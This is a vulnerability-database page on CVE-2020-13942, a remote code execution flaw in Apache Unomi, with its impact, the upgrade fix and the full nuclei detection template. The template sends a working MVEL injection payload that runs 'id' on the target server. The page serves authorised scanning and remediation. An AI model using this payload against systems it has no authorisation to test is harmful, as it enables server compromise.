HexBrain

Browse / CVEs / CVE-2020-13942

CVE-2020-13942· apache / unomi· CWE-74, CWE-20

Apache Unomi <1.5.2 - Remote Code Execution

criticalseverity
9.8CVSS score
68.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Apache Unomi allows conditions to use OGNL and MVEL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process. This vulnerability affects all versions of Apache Unomi prior to 1.5.2.

Impact

Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.

Fix

Apache Unomi users should upgrade to 1.5.2 or later.

How to confirm it

Send: POST {{BaseURL}}/context.json
Positive when: contains in header "application/json" and "context-profile-id" AND matches /(profile|session)(Id|Properties|Segments)/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-13942 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-13942

info:
  name: Apache Unomi <1.5.2 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Apache Unomi allows conditions to use OGNL and MVEL scripting which
    offers the possibility to call static Java classes from the JDK
    that could execute code with the permission level of the running Java process.
    This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
  impact: |
    Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.
  remediation: Apache Unomi users should upgrade to 1.5.2 or later.
  reference:
    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    - https://twitter.com/chybeta/status/1328912309440311297
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13942
    - http://unomi.apache.org./security/cve-2020-13942.txt
    - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13942
    cwe-id: CWE-74,CWE-20
    epss-score: 0.68516
    epss-percentile: 0.99344
    cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: unomi
  tags: cve,cve2020,apache,rce,vkev,vuln
variables:
  id: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/context.json"

    body: |
      {
        "filters": [
          {
            "id": "{{id}}",
            "filters": [
              {
                "condition": {
                  "parameterValues": {
                    "nuclei": "script::Runtime.getRuntime().exec('id')"
                  },
                  "type": "profilePropertyCondition"
                }
              }
            ]
          }
        ],
        "sessionId": "nuclei"
      }

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"
          - "context-profile-id"
        condition: and

      - type: regex
        part: body
        regex:
          - "(profile|session)(Id|Properties|Segments)"
          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from